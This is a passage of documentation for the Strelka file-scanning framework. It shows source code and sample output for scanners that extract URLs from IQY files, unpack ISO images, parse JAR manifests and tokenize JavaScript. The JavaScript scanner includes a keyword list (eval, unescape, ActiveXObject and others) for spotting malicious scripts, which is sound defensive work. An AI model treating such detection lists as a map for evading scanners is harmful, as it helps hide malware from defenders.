requiredexpire_at int Expiration timestamp for extracted files.
required Source code instrelka/src/python/strelka/scanners/scan_iqy.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Processes the provided IQY data to extract URLs.\n\n Attempts to decode the data and applies a regex pattern to identify and extract URLs.\n Extracted URLs are added to the scanner's IOC list.\n\n Args:\n data (bytes): Data associated with the IQY file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n try:\n # Compile regex pattern for URL detection\n address_pattern = re.compile(\n r\"\\b(?:http|https|ftp|ftps|file|smb)://\\S+|\"\n r\"\\\\{2}\\w+\\\\(?:[\\w$]+\\\\)*[\\w$]+\",\n re.IGNORECASE,\n )\n\n # Attempt to decode the data\n try:\n decoded_data = data.decode(\"utf-8\")\n except UnicodeDecodeError:\n decoded_data = data.decode(\"latin-1\")\n\n # Extract addresses from the data\n addresses = set(\n match.group().strip()\n for line in decoded_data.splitlines()\n if (match := address_pattern.search(line))\n )\n\n # Add extracted URLs to the scanner's IOC list\n if addresses:\n self.event[\"address_found\"] = True\n self.add_iocs(list(addresses))\n else:\n self.event[\"address_found\"] = False\n\n except UnicodeDecodeError as e:\n self.flags.append(f\"Unicode decoding error: {e}\")\n except Exception as e:\n self.flags.append(f\"Unexpected exception: {e}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanIqy.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeiqy_file"},{"location":"Scanners/ScanIqy.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeaddress_found bool elapsed str flags list iocs list iocs.ioc str iocs.ioc_type str iocs.scanner str"},{"location":"Scanners/ScanIqy.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"address_found\": True,\n \"iocs\": [\n {\n \"ioc\": \"github.com\",\n \"ioc_type\": \"domain\",\n \"scanner\": \"ScanIqy\",\n },\n {\n \"ioc\": \"https://github.com/target/strelka/blob/master/docs/index.html\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanIqy\",\n },\n ],\n }\nExtracts files from ISO files.
Source code instrelka/src/python/strelka/scanners/scan_iso.py class ScanIso(strelka.Scanner):\n \"\"\"Extracts files from ISO files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n self.event[\"hidden_dirs\"] = []\n self.event[\"meta\"] = {}\n\n try:\n # ISO must be opened as a byte stream\n with io.BytesIO(data) as iso_io:\n iso = pycdlib.PyCdlib()\n iso.open_fp(iso_io)\n\n # Attempt to get Meta\n try:\n self.event[\"meta\"][\"date_created\"] = (\n self._datetime_from_volume_date(iso.pvd.volume_creation_date)\n )\n self.event[\"meta\"][\"date_effective\"] = (\n self._datetime_from_volume_date(iso.pvd.volume_effective_date)\n )\n self.event[\"meta\"][\"date_expiration\"] = (\n self._datetime_from_volume_date(iso.pvd.volume_expiration_date)\n )\n self.event[\"meta\"][\"date_modification\"] = (\n self._datetime_from_volume_date(\n iso.pvd.volume_modification_date\n )\n )\n self.event[\"meta\"][\n \"volume_identifier\"\n ] = iso.pvd.volume_identifier.decode()\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\n\n if iso.has_udf():\n pathname = \"udf_path\"\n elif iso.has_rock_ridge():\n pathname = \"rr_path\"\n elif iso.has_joliet():\n pathname = \"joliet_path\"\n else:\n pathname = \"iso_path\"\n\n root_entry = iso.get_record(**{pathname: \"/\"})\n\n # Iterate through ISO file tree\n dirs = collections.deque([root_entry])\n while dirs:\n dir_record = dirs.popleft()\n ident_to_here = iso.full_path_from_dirrecord(\n dir_record, rockridge=pathname == \"rr_path\"\n )\n if dir_record.is_dir():\n # Try to get hidden files, not applicable to all iso types\n try:\n if dir_record.file_flags == 3:\n self.event[\"hidden_dirs\"].append(ident_to_here)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\n\n child_lister = iso.list_children(**{pathname: ident_to_here})\n\n for child in child_lister:\n if child is None or child.is_dot() or child.is_dotdot():\n continue\n dirs.append(child)\n else:\n try:\n # Collect File Metadata\n self.event[\"files\"].append(\n {\n \"filename\": ident_to_here,\n \"size\": iso.get_record(\n **{pathname: ident_to_here}\n ).data_length,\n \"date_utc\": self._datetime_from_iso_date(\n iso.get_record(**{pathname: ident_to_here}).date\n ),\n }\n )\n\n # Extract ISO Files (If Below Option Limit)\n if self.event[\"total\"][\"extracted\"] < file_limit:\n try:\n self.event[\"total\"][\"files\"] += 1\n file_io = io.BytesIO()\n iso.get_file_from_iso_fp(\n file_io, **{pathname: ident_to_here}\n )\n\n file_io.seek(0)\n extract_data = file_io.read()\n\n # Send extracted file back to Strelka\n self.emit_file(extract_data, name=ident_to_here)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"iso_extract_error: {e}\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"iso_read_error\")\n iso.close()\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"iso_read_error\")\n\n @staticmethod\n def _datetime_from_volume_date(volume_date):\n \"\"\"Helper method for converting VolumeRecordDate to string time.\"\"\"\n try:\n year = volume_date.year\n month = volume_date.month\n day = volume_date.dayofmonth\n hour = volume_date.hour\n minute = volume_date.minute\n second = volume_date.second\n\n dt = datetime.datetime(\n year,\n month,\n day,\n hour,\n minute,\n second,\n )\n return dt.strftime(\"%Y-%m-%dT%H:%M:%S\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n return\n\n @staticmethod\n def _datetime_from_iso_date(iso_date):\n \"\"\"Helper method for converting DirectoryRecordDate to string ISO8601 time.\"\"\"\n try:\n if isinstance(iso_date, DirectoryRecordDate):\n year = 1900 + iso_date.years_since_1900\n day = iso_date.day_of_month\n else:\n return\n\n if not year:\n return\n\n if year < 1970:\n year += 100\n\n month = iso_date.month\n if iso_date.month == 0:\n month = 1\n\n try:\n dt = datetime.datetime(\n year,\n month,\n day,\n iso_date.hour,\n iso_date.minute,\n iso_date.second,\n )\n dt = dt.strftime(\"%Y-%m-%dT%H:%M:%S\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n return\n return dt\n except strelka.ScannerTimeout:\n raise\n except Exception:\n return\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanIso.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-iso9660-image"},{"location":"Scanners/ScanIso.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str files list files.date_utc str files.filename str files.size int flags list hidden_dirs list meta dict meta.date_created str meta.date_effective NoneType meta.date_expiration NoneType meta.date_modification str meta.volume_identifier str total dict total.extracted int total.files int"},{"location":"Scanners/ScanIso.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 1, \"extracted\": 1},\n \"files\": [\n {\"filename\": \"/lorem.txt\", \"size\": 4015, \"date_utc\": \"2022-12-11T18:44:49\"}\nCollects metadata from JAR manifest files.
Source code instrelka/src/python/strelka/scanners/scan_jar_manifest.py class ScanJarManifest(strelka.Scanner):\n \"\"\"Collects metadata from JAR manifest files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n headers = options.get(\"headers\", [])\n\n manifest = b\"\\n\".join(data.splitlines()).rstrip(b\"\\n\")\n section_strings = manifest.split(b\"\\n\")\n\n self.event[\"headers\"] = []\n for section in section_strings:\n s = section.replace(b\"\\n\", b\"\").split(b\":\")\n if len(s) == 2:\n h, v = s[0].strip(), s[1].strip()\n\n if h not in self.event[\"headers\"]:\n self.event[\"headers\"].append(h)\n\n if headers and h not in headers:\n continue\n\n try:\n v = ast.literal_eval(v)\n except (ValueError, SyntaxError):\n pass\n\n self.event[\"headers\"].append(\n {\n \"header\": h,\n \"value\": v,\n }\n )\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanJarManifest.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludejar_manifest_file"},{"location":"Scanners/ScanJarManifest.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanJarManifest.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner jar_manifest
"},{"location":"Scanners/ScanJavascript.html","title":"ScanJavascript","text":"This scanner extracts various components from JavaScript files, such as tokens, keywords, strings, identifiers, and regular expressions. It also has the option to deobfuscate the JavaScript before scanning. URLs within the script are extracted and added as indicators of compromise (IOCs).
Optionsbeautify: Determines if JavaScript should be deobfuscated (default: True). max_strings: Maximum number of strings to extract from each category (default: 50).
Source code instrelka/src/python/strelka/scanners/scan_javascript.py class ScanJavascript(strelka.Scanner):\n \"\"\"\n This scanner extracts various components from JavaScript files, such as tokens,\n keywords, strings, identifiers, and regular expressions. It also has the option\n to deobfuscate the JavaScript before scanning. URLs within the script are\n extracted and added as indicators of compromise (IOCs).\n\n Options:\n beautify: Determines if JavaScript should be deobfuscated (default: True).\n max_strings: Maximum number of strings to extract from each category\n (default: 50).\n \"\"\"\n\n def init(self):\n # Regular expression to capture URLs, considering various schemes and TLDs.\n self.url_regex = re.compile(\n r'(?:\\b[a-z\\d.-]+://[^<>\\s\\(\\)]+|\\b(?:(?:(?:[^\\s!@#$%^&*()_=+[\\]{}\\|;:\\'\",.<>/?]+)\\.)+(?:aaa|aarp|abarth|abb|abbott|abbvie|abc|able|abogado|abudhabi|ac|academy|accenture|accountant|accountants|aco|active|actor|ad|adac|ads|adult|ae|aeg|aero|aetna|af|afamilycompany|afl|africa|ag|agakhan|agency|ai|aig|aigo|airbus|airforce|airtel|akdn|al|alfaromeo|alibaba|alipay|allfinanz|allstate|ally|alsace|alstom|am|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|art|arte|as|asda|asia|associates|at|athleta|attorney|au|auction|audi|audible|audio|auspost|author|auto|autos|avianca|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|bananarepublic|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|bd|be|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|biz|bj|black|blackfriday|blanco|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnl|bnpparibas|bo|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|br|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|budapest|bugatti|build|builders|business|buy|buzz|bv|bw|by|bz|bzh|ca|cab|cafe|cal|call|calvinklein|cam|camera|camp|cancerresearch|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|cartier|casa|case|caseih|cash|casino|cat|catering|catholic|cba|cbn|cbre|cbs|cc|cd|ceb|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|chrysler|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|cityeats|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|club|clubmed|cm|cn|co|coach|codes|coffee|college|cologne|com|comcast|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cookingchannel|cool|coop|corsica|country|coupon|coupons|courses|cr|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|csc|cu|cuisinella|cv|cw|cx|cy|cymru|cyou|cz|dabur|dad|dance|data|date|dating|datsun|day|dclk|dds|de|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dk|dm|dnp|do|docs|doctor|dodge|dog|doha|domains|dot|download|drive|dtv|dubai|duck|dunlop|duns|dupont|durban|dvag|dvr|dz|earth|eat|ec|eco|edeka|edu|education|ee|eg|email|emerck|energy|engineer|engineering|enterprises|epost|epson|equipment|er|ericsson|erni|es|esq|estate|esurance|et|etisalat|eu|eurovision|eus|events|everbank|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fi|fiat|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|fj|fk|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|foodnetwork|football|ford|forex|forsale|forum|foundation|fox|fr|free|fresenius|frl|frogans|frontdoor|frontier|ftr|fujitsu|fujixerox|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gb|gbiz|gd|gdn|ge|gea|gent|genting|george|gf|gg|ggee|gh|gi|gift|gifts|gives|giving|gl|glade|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|gn|godaddy|gold|goldpoint|golf|goo|goodhands|goodyear|goog|google|gop|got|gov|gp|gq|gr|grainger|graphics|gratis|green|gripe|grocery|group|gs|gt|gu|guardian|gucci|guge|guide|guitars|guru|gw|gy|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hgtv|hiphop|hisamitsu|hitachi|hiv|hk|hkt|hm|hn|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|honeywell|horse|hospital|host|hosting|hot|hoteles|hotels|hotmail|house|how|hr|hsbc|ht|hu|hughes|hyatt|hyundai|ibm|icbc|ice|icu|id|ie|ieee|ifm|ikano|il|im|imamat|imdb|immo|immobilien|in|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|intel|international|intuit|investments|io|ipiranga|iq|ir|irish|is|iselect|ismaili|ist|istanbul|it|itau|itv|iveco|jaguar|java|jcb|jcp|je|jeep|jetzt|jewelry|jio|jlc|jll|jm|jmp|jnj|jo|jobs|joburg|jot|joy|jp|jpmorgan|jprs|juegos|juniper|kaufen|kddi|ke|kerryhotels|kerrylogistics|kerryproperties|kfh|kg|kh|ki|kia|kim|kinder|kindle|kitchen|kiwi|km|kn|koeln|komatsu|kosher|kp|kpmg|kpn|kr|krd|kred|kuokgroup|kw|ky|kyoto|kz|la|lacaixa|ladbrokes|lamborghini|lamer|lancaster|lancia|lancome|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lb|lc|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|liaison|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|linde|link|lipsy|live|living|lixil|lk|llc|loan|loans|locker|locus|loft|lol|london|lotte|lotto|love|lpl|lplfinancial|lr|ls|lt|ltd|ltda|lu|lundbeck|lupin|luxe|luxury|lv|ly|ma|macys|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|maserati|mattel|mba|mc|mckinsey|md|me|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|metlife|mg|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mk|ml|mlb|mls|mm|mma|mn|mo|mobi|mobile|mobily|moda|moe|moi|mom|monash|money|monster|mopar|mormon|mortgage|moscow|moto|motorcycles|mov|movie|movistar|mp|mq|mr|ms|msd|mt|mtn|mtr|mu|museum|mutual|mv|mw|mx|my|mz|na|nab|nadex|nagoya|name|nationwide|natura|navy|nba|nc|ne|nec|net|netbank|netflix|network|neustar|new|newholland|news|next|nextdirect|nexus|nf|nfl|ng|ngo|nhk|ni|nico|nike|nikon|ninja|nissan|nissay|nl|no|nokia|northwesternmutual|norton|now|nowruz|nowtv|np|nr|nra|nrw|ntt|nu|nyc|nz|obi|observer|off|office|okinawa|olayan|olayangroup|oldnavy|ollo|om|omega|one|ong|onl|online|onyourside|ooo|open|oracle|orange|org|organic|origins|osaka|otsuka|ott|ovh|pa|page|panasonic|panerai|paris|pars|partners|parts|party|passagens|pay|pccw|pe|pet|pf|pfizer|pg|ph|pharmacy|phd|philips|phone|photo|photography|photos|physio|piaget|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|pk|pl|place|play|playstation|plumbing|plus|pm|pn|pnc|pohl|poker|politie|porn|post|pr|pramerica|praxi|press|prime|pro|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|ps|pt|pub|pw|pwc|py|qa|qpon|quebec|quest|qvc|racing|radio|raid|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|rightathome|ril|rio|rip|rmit|ro|rocher|rocks|rodeo|rogers|room|rs|rsvp|ru|rugby|ruhr|run|rw|rwe|ryukyu|sa|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sb|sbi|sbs|sc|sca|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|scjohnson|scor|scot|sd|se|search|seat|secure|security|seek|select|sener|services|ses|seven|sew|sex|sexy|sfr|sg|sh|shangrila|sharp|shaw|shell|shia|shiksha|shoes|shop|shopping|shouji|show|showtime|shriram|si|silk|sina|singles|site|sj|sk|ski|skin|sky|skype|sl|sling|sm|smart|smile|sn|sncf|so|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|spiegel|sport|spot|spreadbetting|sr|srl|srt|st|stada|staples|star|starhub|statebank|statefarm|statoil|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|su|sucks|supplies|supply|support|surf|surgery|suzuki|sv|swatch|swiftcover|swiss|sx|sy|sydney|symantec|systems|sz|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|telefonica|temasek|tennis|teva|tf|tg|th|thd|theater|theatre|tiaa|tickets|tienda|tiffany|tips|tires|tirol|tj|tjmaxx|tjx|tk|tkmaxx|tl|tm|tmall|tn|to|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|tr|trade|trading|training|travel|travelchannel|travelers|travelersinsurance|trust|trv|tt|tube|tui|tunes|tushu|tv|tvs|tw|tz|ua|ubank|ubs|uconnect|ug|uk|unicom|university|uno|uol|ups|us|uy|uz|va|vacations|vana|vanguard|vc|ve|vegas|ventures|verisign|versicherung|vet|vg|vi|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|vistaprint|viva|vivo|vlaanderen|vn|vodka|volkswagen|volvo|vote|voting|voto|voyage|vu|vuelos|wales|walmart|walter|wang|wanggou|warman|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|ws|wtc|wtf|xbox|xerox|xfinity|xihuan|xin|xn--11b4c3d|xn--1ck2e1b|xn--1qqw23a|xn--2scrj9c|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3hcrj9c|xn--3oq18vl8pn36a|xn--3pxu8k|xn--42c2d9a|xn--45br5cyl|xn--45brj9c|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80adxhks|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cg4bki|xn--clchc0ea0b2g2a9gcd|xn--czr694b|xn--czrs0t|xn--czru2d|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--estv75g|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--g2xx48c|xn--gckr3f0f|xn--gecrj9c|xn--gk3at1e|xn--h2breg3eve|xn--h2brj9c|xn--h2brj9c8c|xn--hxt814e|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--j1amh|xn--j6w193g|xn--jlq61u9w7b|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kpu716f|xn--kput3i|xn--l1acc|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaakc7dvf|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbai9azgqp6j|xn--mgbayh7gpa|xn--mgbb9fbpob|xn--mgbbh1a|xn--mgbbh1a71e|xn--mgbc0a9azcg|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbgu82a|xn--mgbi4ecexp|xn--mgbpl2fh|xn--mgbt3dhd|xn--mgbtx2b|xn--mgbx4cd0ab|xn--mix891f|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--p1acf|xn--p1ai|xn--pbt977c|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--rvc1e0am3e|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|ye|yodobashi|yoga|yokohama|you|youtube|yt|yun|za|zappos|zara|zero|zip|zippo|zm|zone|zuerich|zw)|(?:(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])\\.){3}(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5]))(?:[;/][^#?<>\\s]*)?(?:\\?[^#<>\\s]*)?(?:#[^<>\\s\\(\\)]*)?(?!\\w))',\n re.IGNORECASE,\n )\n\n # Set of suspicious keywords\n self.suspicious_keywords = {\n \"eval\",\n \"Function\",\n \"unescape\",\n \"execCommand\",\n \"ActiveXObject\",\n \"XMLHttpRequest\",\n \"onerror\",\n \"onload\",\n \"onclick\",\n \"WebSocket\",\n \"crypto\",\n \"Worker\",\n }\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Scans a Javascript file, tokenizes it, and extracts useful components.\n\n Args:\n data: Content of the file being scanned.\n file: File metadata.\n options: Scanner options.\n expire_at: Expiry timestamp of the scan task.\n \"\"\"\n beautify = options.get(\"beautify\", True)\n max_strings = options.get(\"max_strings\", 50)\n\n self.event.setdefault(\"tokens\", set())\n self.event.setdefault(\"keywords\", set())\n self.event.setdefault(\"strings\", set())\n self.event.setdefault(\"identifiers\", set())\n self.event.setdefault(\"regular_expressions\", set())\n self.event.setdefault(\"suspicious_keywords\", set())\n self.event.setdefault(\"urls\", set())\n self.event[\"beautified\"] = False\n\n # Get script length\n self.event[\"script_length_bytes\"] = len(data)\n\n if beautify:\n try:\n data = jsbeautifier.beautify(data.decode())\n self.event[\"beautified\"] = True\n except Exception as e:\n self.flags.append(f\"beautify_error: {str(e)[:50]}\")\n\n try:\n tokens = esprima.tokenize(data, options={\"comment\": True, \"tolerant\": True})\n for t in tokens:\n self.process_token(t, max_strings)\n except Exception as e:\n self.flags.append(f\"tokenization_error: {str(e)[:50]}\")\n\n # Convert sets to lists and trim to max_strings\n try:\n self.trim_event_data(max_strings)\n except Exception as e:\n self.flags.append(f\"output_error: {str(e)[:50]}\")\n\n # Remove duplicates and add URLs as IOCs\n try:\n if self.event[\"urls\"]:\n self.event[\"urls\"] = list(set(self.event[\"urls\"]))\n self.add_iocs(self.event[\"urls\"])\n except Exception as e:\n self.flags.append(f\"ioc_extraction_error: {str(e)[:50]}\")\n\n def process_token(self, token, max_strings):\n \"\"\"Processes each token, categorizing and storing relevant data.\"\"\"\n self.event[\"tokens\"].add(token.type)\n\n if token.type == \"String\":\n stripped_val = token.value.strip(\"\\\"'\")\n self.event[\"strings\"].add(stripped_val)\n self.extract_urls(stripped_val, max_strings)\n elif token.type == \"Keyword\":\n self.event[\"keywords\"].add(token.value)\n elif token.type == \"Identifier\":\n if token.value in self.suspicious_keywords:\n self.event[\"suspicious_keywords\"].add(token.value)\n self.event[\"identifiers\"].add(token.value)\n elif token.type == \"RegularExpression\":\n self.event[\"regular_expressions\"].add(token.value)\n\n def extract_urls(self, text, max_strings):\n \"\"\"Extracts URLs from the provided text using regex matching.\"\"\"\n urls = self.url_regex.findall(text)\n for url in urls:\n self.event[\"urls\"].add(url)\n if len(self.event[\"urls\"]) >= max_strings:\n break\n\n def trim_event_data(self, max_strings):\n \"\"\"Trims the event data to the maximum number of strings specified.\"\"\"\n for key in [\n \"tokens\",\n \"keywords\",\n \"strings\",\n \"identifiers\",\n \"regular_expressions\",\n \"urls\",\n \"suspicious_keywords\",\n ]:\n self.event[key] = list(self.event[key])[:max_strings]\nscan(data, file, options, expire_at)","text":"Scans a Javascript file, tokenizes it, and extracts useful components.
Parameters:
Name Type Description Defaultdata Content of the file being scanned.
requiredfile File metadata.
requiredoptions Scanner options.
requiredexpire_at Expiry timestamp of the scan task.
required Source code instrelka/src/python/strelka/scanners/scan_javascript.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Scans a Javascript file, tokenizes it, and extracts useful components.\n\n Args:\n data: Content of the file being scanned.\n file: File metadata.\n options: Scanner options.\n expire_at: Expiry timestamp of the scan task.\n \"\"\"\n beautify = options.get(\"beautify\", True)\n max_strings = options.get(\"max_strings\", 50)\n\n self.event.setdefault(\"tokens\", set())\n self.event.setdefault(\"keywords\", set())\n self.event.setdefault(\"strings\", set())\n self.event.setdefault(\"identifiers\", set())\n self.event.setdefault(\"regular_expressions\", set())\n self.event.setdefault(\"suspicious_keywords\", set())\n self.event.setdefault(\"urls\", set())\n self.event[\"beautified\"] = False\n\n # Get script length\n self.event[\"script_length_bytes\"] = len(data)\n\n if beautify:\n try:\n data = jsbeautifier.beautify(data.decode())\n self.event[\"beautified\"] = True\n except Exception as e:\n self.flags.append(f\"beautify_error: {str(e)[:50]}\")\n\n try:\n tokens = esprima.tokenize(data, options={\"comment\": True, \"tolerant\": True})\n for t in tokens:\n self.process_token(t, max_strings)\n except Exception as e:\n self.flags.append(f\"tokenization_error: {str(e)[:50]}\")\n\n # Convert sets to lists and trim to max_strings\n try:\n self.trim_event_data(max_strings)\n except Exception as e:\n self.flags.append(f\"output_error: {str(e)[:50]}\")\n\n # Remove duplicates and add URLs as IOCs\n try:\n if self.event[\"urls\"]:\n self.event[\"urls\"] = 